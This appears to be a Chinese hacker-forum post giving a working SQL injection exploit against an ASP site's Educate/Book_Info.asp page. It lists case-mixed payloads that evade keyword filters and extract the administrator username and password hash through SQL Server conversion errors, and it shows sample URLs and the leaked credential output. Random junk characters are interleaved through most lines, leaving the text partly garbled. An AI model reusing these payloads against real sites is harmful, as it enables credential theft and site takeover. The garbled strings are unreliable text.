漏洞出现在Educate/Book_Info.asp / [2 w: J; _$ t, U7 S8 ^
& w3 ^' f/ N3 C$ B. m( K此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出3 `4 `! t! ^: |' B: \
* o7 R% P; Y+ V& m% X+ a1 s/ k
exp:如下
% d7 W5 e) x% Y, V: B) [/ W查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
( O7 z, V8 u) Z" A8 ` `# q查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)/ x/ L/ M; N0 u1 I+ v; ]
# m. H0 |( m: U
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
& s0 z7 \5 V: B" R s. B; w 8 O! l4 L" A& O8 A- ~
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
8 q# w2 ], F+ B; q8 }# e/ V
6 Y1 r' V" \# E8 M0 K- e9 o将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
% K$ D% G5 S% l$ d1 Y" f* S3 A
# E6 w" x* j: A- }. G/Educate/Book_Info.asp,行 8
8 ?( t) n3 A1 E' Q! q
0 `9 G# M! r5 n! n8 Y4 xhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)8 A& g8 w9 m3 Y6 d. h2 q; n
& p9 R2 _$ K4 }0 e* hMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'3 v8 n6 u! T' B9 C& Z5 Z0 n
1 Z$ E0 H0 e7 s4 u' }4 O- x将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。( m5 E1 L. M$ y2 p; E5 O
5 o- h( u) A/ c0 g# U
/Educate/Book_Info.asp,行 8+ k- @ _: p) z- [/ l; [8 O
|